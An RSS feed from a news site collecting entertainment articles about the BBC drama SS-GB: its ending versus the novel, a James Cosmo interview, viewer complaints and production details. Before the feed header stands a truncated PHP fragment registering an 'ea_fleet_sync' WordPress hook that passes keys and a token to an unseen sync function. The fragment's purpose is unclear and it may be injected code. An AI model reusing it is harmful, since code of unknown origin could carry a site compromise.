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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); SSGB – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 20 Mar 2017 14:09:33 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png SSGB – Brief News https://briefnews.eu 32 32 SS-GB season 2: Will there be a second series? How was the ending different to the book? https://briefnews.eu/ss-gb-season-2-will-there-be-a-second-series-how-was-the-ending-different-to-the-book/ https://briefnews.eu/ss-gb-season-2-will-there-be-a-second-series-how-was-the-ending-different-to-the-book/#respond Mon, 20 Mar 2017 14:09:33 +0000 http://briefnews.eu/ss-gb-season-2-will-there-be-a-second-series-how-was-the-ending-different-to-the-book/

Will SS-GB return for season 2?

Season one ended with several loose ends and the fates of the main characters unclear.

It was revealed that the plot to save the King was a trap designed to capture the Resistance.

Archer (Sam Riley) escaped from the Germans with the atomic bomb plans hidden in a cigar tube, now a wanted man, as Huth was executed.

Meanwhile Harry (James Cosmo) was left recovering in a barn after he was shot.

At the American embassy, Barbara Barga (Kate Bosworth) stormed out of the room where she was listening to casualty reports from the Bringle Sands attack, presumably off to search for Archer.

Fans called the finale “disappointing” and a “weak ending” to the alternative reality drama.

But will the produce a follow-up and reveal what happens to Archer and Barbara?

Len Deighton never wrote a sequel to his 1978 Nazi thriller, so it seems unlikely that there will be any further instalments of SS-GB.

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However, it was recently announced that The Night Manager could return for a second season which would move the story past John Le Carre’s original novel.

Unlike The Night Manager – which attracted around 10 million viewers each week – SS-GB suffered from dwindling ratings and mixed reviews throughout its run.

Based on that, we’re not holding our breath for another trip to Nazi London.

How was the SS-GB ending different from the book?

In Deighton’s novel, Sylvia (Maeve Dermody) is killed when she tries to break out of detention with Harry.

Cruelly, her death is announced as an aside in the novel: “Harry was in a shooting incident this afternoon… the girl with him – Sylvia Manning, who used to be your clerk – is dead.”

In the BBC series, Sylvia survives the escape with just an arm wound, but is later shot alongside the King.

While Barbara survives the series, in the novel Archer finds her dead and “knocked about a bit” after the failed getaway.

In the TV version of events the Germans attack Barbara before the operation to free the King, but take her alive to be interrogated and terrorised by Kellerman (Rainer Bock).

The American journalist also fails to mention that she has a husband – who is featured in the novel and even becomes part of the King’s escape.

When Danny Barga meets Archer in the book, he quips: “Barb said I would like you, and dammit, I do,” but dies before the novel is over.

Archer’s fate is also changed. In the original he is arrested and imprisoned in Bringle Sands after the attack, but is let off the hook after Kellerman tells him that Huth (Lars Eidinger) was to blame for the whole plot.

It is also revealed that Harry has been Kellerman’s informant the whole time, telling him every move that Archer makes.

Huth tells Archer: “Don’t you realise that Harry Woods looks upon you as the son he never had?”

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The BBC One series that is set in an alternative reality in 1941 and imagines the United Kingdom being occupied by Nazi Germany after losing the Battle of Britain, finished with more questions than answers.

The five-part drama – that is based on the 1978 novel of the same name by Len Deighton – appeared to differ from the original ending in the book.

Fans flocked to social media to share their confusion over episode five with one viewer complaining it “didn’t live up to expectations”.

One Twitter user wrote: “I’ve watched every episode, there’s five minutes left and I still haven’t got a clue what is going on #SSGB.”

“Well, that was disappointing. I was really looking forward to #ssgb but it really didn’t live up to expectations. Weak ending too,” commented another.

A third said: “Anyone else thrown by the ending of #ssgb this evening? Read the book years ago but don’t remember that ending.”

“Well, that was a anti climax, cheers for that! #ssgb,” another added.

One confused viewer wrote: “#ssgb what on earth happened at the end???????”

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Your character Harry Woods is very loveable, how similar are you to him?

Well of course I am loveable! Harry he is really old school. I found a lot of empathy with that character; he is not a hero, he is just a guy who is doing a job.

Do you think if the Nazis had taken over you would have been part of the Resistance like Harry?

I think if they had managed to invade, peoples main concern would be their families’ safety and nothing else. A lot of people would have got on with it and kept their heads down. 

What did you discover from being in the series?

We went to a premiere of it in Berlin and it was very interesting. Young Germans still feel a great responsibility for the Second World War. But given the political economic climate, any country could become like that. 

What can we expect from tonight’s final episode?

There is a terrific catch you will love it. It’s shocking. 

Does Harry survive?

We shall see. It would be very sad if I got killed.

What was it like working with Sam Riley who plays Harry’s boss Douglas Archer?

I loved working with him, we had so much fun. 

Is Sam’s voice as husky in real life?

Yes, I think it’s the fags.

What are you most proud of in your career?

The Pyramid Texts, which is a one-man film about an old boxing trainer talking about his life. It’s all about fear and loss. That’s the one film out of my 53 years as an actor that I can actually say I am proud of what I did.

Was it fun going back to do Trainspotting 2?

Yes I was amazed when Danny Boyle phoned me up. I still haven’t seen it, but It was wonderful to go back and work with him and Ewan McGregor. 

What do you get recognized for the most?

Game of Thrones, and that stupid programme I was on (Celebrity Big Brother). But I think I will always be remembered for Braveheart. 

 Why after all your success did you want to do Celebrity Big Brother?

I was very nervous about doing it, but there was a financial consideration, which was substantial. I am very interested in the media and reality TV and what it means to our society. I thought maybe I could behave in a way that is not disgraceful and try and show in those circumstances that you can behave properly.

SS-GB concludes tonight at 9pm on BBC One. The DVD is released on March 27.

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In tonight’s episode, Archer (played by Sam Riley) made finding missing atomic bomb documents his main priority, frantically trying to track down the elusive Dr John Spode.

However, viewers could not watch the serious drama without thinking of British comedies around the same theme.

One viewer laughed: “Kind of waiting for this German commander to go ‘TLER!’ and it to turn into Allo Allo #ssgb.”

“If you want my cooperation, you would have to woo me. Ooh you can be as Wude as you like with me. #SSGB,” said another in the style of the Carry On movies.

A third posted: “Still waiting for one of the Nazis to deliver the line ‘your name will also go on the list’. #ssgb,” as a fourth simply noted: “#SSGB straying into #CarryOnAdolf territory.”

The costume comparisons continued, with one viewer tweeting: “That bloke in charge of the police looks & sounds like this officer from #AlloAllo #SamKelly #SSGB.”

“Archer looks straight out of ‘allo ‘allo  in that hat. Are we sure he’s in the right recording studio…? #ssgb,” posted another, as a third wrote: “SS-GB is starting to morph into Allo Allo. Where is zee Madonna with zee big boobies?”

In next week’s episode, Archer will face a life-changing decision as the army impose martial law and a rounding-up of Resistance members. 

Barbara’s surprise proposal could provide a safe haven for Archer and his son, but can he really trust her with the country’s most sought-after possession?

Despite being caught in the middle of a battle between Kellermann and Huth, will Archer finally agree to help free the King?

SS-GB continues next Sunday on at 9pm.

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The Hollywood star has earned an army of admirers while showing off her incredible figure during a succession of risque scenes in the popular BBC Sunday night show. 

And fans of the thriller will not be disappointed as things get steamy once again during the third instalment of the hit BBC mini series about a detective in a Nazi-controlled Britain.

Ms Bosworth, 34, plays American journalist Barbara Barga who becomes inextricably linked with a murder case in London which is under the thrall of the Third Reich

In Sunday’s third episode things get rather intimate with her handsome Yorkshire born co-star Sam Riley, 37, during another sexually charged exchange.

Viewers will see her character seduced by British detective Douglas Archer, who is working under the repressive SS regime while investigating an apparently simple black market murder.

As Barbara is quizzed for information she tells DS Archer: “You are very clever but you seem to have confused interrogation with seduction.”

After the pair share a passionate kiss the detective turns to a hatbox with a secret compartment and suggests it would be the perfect place in which to hide something. 

Sultry Barbara replies: “You seem to be more interested in false bottoms then real ones…” to which DS Archer says: “Well, we can’t have that can we?”

Viewers will then see the American born actress and model writhing on a bed in a skimpy negligee before the couple share a cigarette. 

The big budget BBC One TV series, adapted from Len Deighton’s iconic 1978 novel of the same name, deals with an alternative reality in which the Nazis win the Second World War. The opening episode drew 6.1 million viewers.

As well as being a distinguished actress Ms Bosworth, who is married to director Michael Polish, is also a darling of the fashion world and has starred in advertising campaigns for Tory Burch, Calvin Klein and Topshop.

• SS-GB is available to watch on iPlayer and continues on Sunday on BBC One at 9pm.

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Those watching the first episode of the BBC show quickly switched off after complaining about the poor sound quality and “mumbling” actors.

The drama series, based on the novel by Len Deighton, is set in an alternative 1941 where the Germans have won the Battle of Britain. 

Detective Douglas Archer (played by Sam Riley) found himself working under the brutal SS in occupied London, but the audience could not keep up with the plot.

One viewer tweeted: “I really wanted #SSGB to be good but I can’t understand a word the main guy is saying? He keeps mumbling.”

“Can Sam Riley please stop this weird faux-whispery thing?! I’m too young for subtitles… but they’re on. #ssgb,” asked another.

A third said: “#SSGB Hmpf. Disappointed that I probably won’t be able to watch this due to the terribly annoying lead man’s gruff whispers.”

“Really poor sound quality on #ssgb so much so, subtitles are needed!” said a fourth, as another raged: “Stop mumbling!!!! #SSGB.”

However, this is not the first time the BBC sound department has received complaints from the hard-of-hearing audience, with fans comparing it to Jamaica Inn.

One viewer tweeted: “#SSGB is a bit whispery. The curse of Jamaica Inn, Happy Valley and Rillington Place strikes again? #BBCDrama.”

“Had to put subtitles on #SSGB despite it being in English. Is it the same sound person as Jamaica Inn? #BBC,” posted another.

A third said: “Another BBC drama we have to turn the sound up for. Speak up! #ssgb.”

“#SSGB don’t want to be a curmudgeon before my time, but could these actors stop mumbling and growling? Must be all the smoking those days,” posted a fourth.

Express.co.uk contacted the BBC requesting comment regarding these complaints. The broadcaster declined to comment.

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The BBC drama series is based on the 1978 novel SS-GB by Len Deighton and set in London in 1941 after the Germans have won the Battle of Britain. 

Flying over the city was a spitfire Mk IX – but, eagle-eyed viewers noted that this plane was not introduced until 1943.

History buffs instantly took to Twitter, outraged by the monumental error, and switched the programme off due to the lack of fact-checking.

One viewer complained: “Well its literally started with dreadful inaccuracies. That was a Spitfire Mk IX in the opening scene. Not introduced until 1943. #SSGB.”

“That was an older 1943 Mk9 Spitfire. That’s means I’m out! Inaccurate in the first minute #SSGB,” posted another.

A third said: “Hmm, wrong Spitfire in opening sequence of #SSGB. Get the details right! #anorak.”

“#ssgb Scene 1: the spitfire landing on the Mall has Polish Battle of Britain fighter pilots’ logo on the fuselage,” noted a fourth.

However, with viewers struggling to understand the dialogue throughout the 60 minute programme, those watching had only one thing on their minds – the spitfire.

One continued: “I mean getting your wrong Spitfire types and years of introduction mixed up. Come on #ssgb.”

“Was looking forward to #ssgb let down so far. Actor clearly has sore throat and that spitfire was not introduced until 1943,” wrote another.

A third said: “#ssgb not sure that the mk of spitfire really matters, it’s fiction. Most important is the dilemma of collaborate or resist.”

“Wrong Spitfire and a German Dingo already… come on #SSGB #sortitout #thisisjustsilly,” said a fourth, as another raged: “C**p CGI and wrong Spitfire. Poor start! #SSGB”

Express.co.uk contacted the BBC requesting comment regarding these complaints. The BBC declined to comment.

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SS-GB, tonight, 9pm, BBC One

A Spitfire flies low over the roofs of Whitehall, landing in The Mall outside Buckingham Palace. Its pilot is greeted by a Nazi soldier; later in the scene we see a bomb-damaged Buckingham Palace surrounded by Swastikas and German propaganda posters.

This is the frankly jaw-dropping opening scene of SS-GB, BBC One’s new blockbuster drama which begins tonight, which is based on Len Deighton’s book about what could have happened if the Nazis had won the Battle of Britain in 1940 and invaded the country.

SS-GB stars Sam Riley as Scotland Yard detective Douglas Archer, an elegant and intelligent man trapped between his police responsibilities and working alongside the Nazis, particularly the SS officers with whom he has to work on the murder case which begins the series. 

After watching the first episode, the talking point across households of the nation is bound to be “What would you have done in Archer’s situation?”, but what will also make the audience talk is the great care which has gone into making the series look like a Britain which has been invaded by the Nazis.

We see Buckingham Palace surrounded by hateful logos, London streets plastered with German wartime propaganda and, of course, full of Nazi soldiers and SS men. It’s genuinely scary to see real, and sometimes very familiar, locations peopled by a frightening enemy and their symbols which still hold their power more than 70 years later.

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Riley was working on sets draped with Swastikas most days during filming and says they still shock. “Seeing them every day didn’t make them lose their power,” he says. “They were quite brilliant in their own way – so powerful, so frightening, so dominating and so shocking.”

It was the production team at Sid Gentle Films, who also make the rather more cuddly series The Durrells, who have created the febrile atmosphere which permeates every frame of SS-GB. Led by executive producers Sally Woodward Gentle and Lee Morris, they have created a series which is a frightening feast for the eyes.

“Was it astronomically expensive? No, we were just very clever!” laughs Woodward Gentle. “Television has got bigger, and caught up with feature films, and has gone up in budget too. And UK tax breaks help film-makers, too.”

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The series is based on Len Deighton’s book

Although the money spent on SS-GB shows on screen, there are hidden elements that won’t be so obvious to the viewer. “We made a decision to shoot it all in London, which is now incredibly expensive, but we knew it would give it the authenticity you wouldn’t get anywhere else, and the architecture is incredibly distinctive,” explains Woodward Gentle. 

The scene where the Spitfire lands outside Buckingham Palace perfectly illustrates the logistics of shooting a big drama about a controversial subject, in a big city.

“The Mall is closed on a Sunday anyway, so we filmed that scene there at 7am – at that time in January, you have a very small window of light, so your shooting time is short,” Woodward Gentle explains.

“And we didn’t want too many people around,” chimes in Lee Morris, who adds that a rumour went around the people who were there that the crew were filming a Wonder Woman film. How very wrong they were…

Morris points out that any unwanted people would have been removed from the scene with CGI computer technology, which was also used to create the image of a bomb-damaged Buckingham Palace. However, CGI was used very little in the series. 

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Woodward Gentle says: “We didn’t want it to be a big CGI show, we wanted to make it more on an emotional level and to see the world from Douglas Archer’s point of view. CGI was used to clean up anything that felt particularly modern, people in windows, any flags.”

It was also used to superimpose Swastikas and other Nazi images on flags on to national landmarks such as Trafalgar Square and Big Ben, such is the power of those symbols, even today – you can imagine the horror people would have felt to have seen these in real life.

Such was the sensitivity of the subject matter that when filming a scene in north London’s Highgate Cemetery, local residents were sent letters warning them that they may see actors dressed in “German Army, SS and Russian military uniform”. Often when filming, actors dressed as German soldiers kept their uniforms covered so as not to shock people.

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SS-GB stars Sam Riley as Scotland Yard detective Douglas Archer

Apart from the possibility of frightening people with Nazis, there were the usual filming headaches on SS-GB. The opening episode sees Archer investigating a murder in central London’s Shepherd Market, a very recognisable maze of narrow 18th century streets, which were actually filmed around Holborn in London.

“We did think about rebuilding Shepherd’s Market as a set, which would have been expensive – but filming in London is expensive anyway,” explains Morris. “You get so much more from filming on a real property.” However, much of the series was filmed in locations Len Deighton wrote about in his novel, giving SS-GB a strong sense of place.

Fans of Deighton’s books and Second World War history will no doubt be keeping an eagle-eye out for the historical accuracy of the series, but Woodward Gentle points out that unlike on Downton Abbey (where she used to be creative director for the company that made the series), SS-GB didn’t have a historical adviser on the set at all times because of the dystopian theme of the series.

Lee Morris adds: “Some of the historical things you have to get absolutely right, like uniforms, but because Len’s book is about an alternative history, there are moments when we can say, ‘Well, that never really happened’.”

Woodward Gentle had been longing to make an adaptation of SS-GB for many years, after becoming friends with Leighton whilst making a documentary called Edward VIII – The Traitor King, and says Deighton’s historical research for his original novel was vital to the TV series. “We almost had it as a reference Bible for the series,” she says. 

“Len and I talked about the drama a lot in the early stage of making it, but once he had met Neil Purvis and Robert Wade (the screenwriting duo best known for their James Bond movies), he let them get on with it. He read all the scripts, but didn’t make any changes.”

Talking to those involved, it’s clear that a large amount of blood, toil, tears and sweat went into making SS-GB, but the impression it will make on our TV screens tonight will make it all worthwhile.

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The 37-year-old, who plays Douglas Archer in the Second World War drama, fell in love with acting as a working-class boy at Uppingham School in Rutland.

He explained: “My great grandfather was a regular fellow who was very enamoured by his officers in the trenches during the First World War.

“He promised himself that if he lived through the war and made any money, he would send his son to Uppingham.

“So my grandfather and my father went there and then there was just enough money left to send me and my younger brother.”

He acted in school productions and during summer holidays in the sixth form spent time with the National Youth Theatre.

He went on to find fame as Joy Division’s Ian Curtis in 2007 film Control.

In tonight’s SS-GB premier, Riley plays a British detective forced to work under the SS.

Based on the Len Deighton novel, it imagines a world where England and Wales is under Nazi occupation after losing the Battle of Britain.

His character meets Kate Bosworth’s New York Times journalist Barbara Barga as an apparently routine murder probe evolves into something much more sinister.

Riley, who now lives in Berlin with his wife Alexandra Maria Lara and their son Ben, three, said he was immediately attracted to the part in SS-GB.

He said: “I’m a big fan of Philip Kerr’s Berlin Noir Trilogy about a private detective working in pre-war Berlin. I really love those books.

I was also attracted by the fact that Archer speaks German, and I’ve been living in Berlin for the past eight years.

As my dad and my agent put it, ‘People might actually watch this!’”

Neal Purvis and Robert Wade, the writers behind Bond films Spectre, Skyfall and Casino Royale, adapted the book.

Wade said: “It constantly makes you think:‘What would I have done?’

This example of alternate history is particularly interesting because it’s so close to what might have happened.

“In SS-GB, the British are living through the Occupation.

The game is still not over.”

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As Bond producers wait to hear whether Daniel Craig will be up for another 007 adventure or not, speculation surrounding a replacement has been rife.

Now it turns out that lead Riley was hotly tipped to be the new .

The news came ten years ago after he starred in Joy Division biopic Control, as Ian Curtis.

However, in a recent interview with The Telegraph, the privately educated actor revealed why he stepped away from his chances at global stardom.

It turns out the 37-year-old actor found all the celebrity attention too much.

He revealed: “My wife [German actress Alexandra Maria Lara] said the night after the [Control] premiere: ‘I’ve been working in this business for 15 years and haven’t had that moment.’

“It threw me a lot higher up the food chain. I arrived a lead actor.”

Instead Riley went to live with his family in Berlin, where he could have a relatively normal life.

The actor continued: “I felt protected there from what everybody was going to try to make me into after Control – a cash cow.

“‘While the moment’s hot, let’s get him in as many things as possible.’

“I was nervous about it, I think, and still am. It’s a twisted mix between being jealous of the success of some of my colleagues and at the same time being very happy that no one knows who I am.”

SS-GB is a new BBC drama, based on the book of the same name, set in an alternate 1941 Nazi-occupied Britain.

Riley stars as widowed detective Douglas Archer, who works with the Germans  to keep his position.

SS-GB starts on BBC1 on February 19, 2017 at 9pm.

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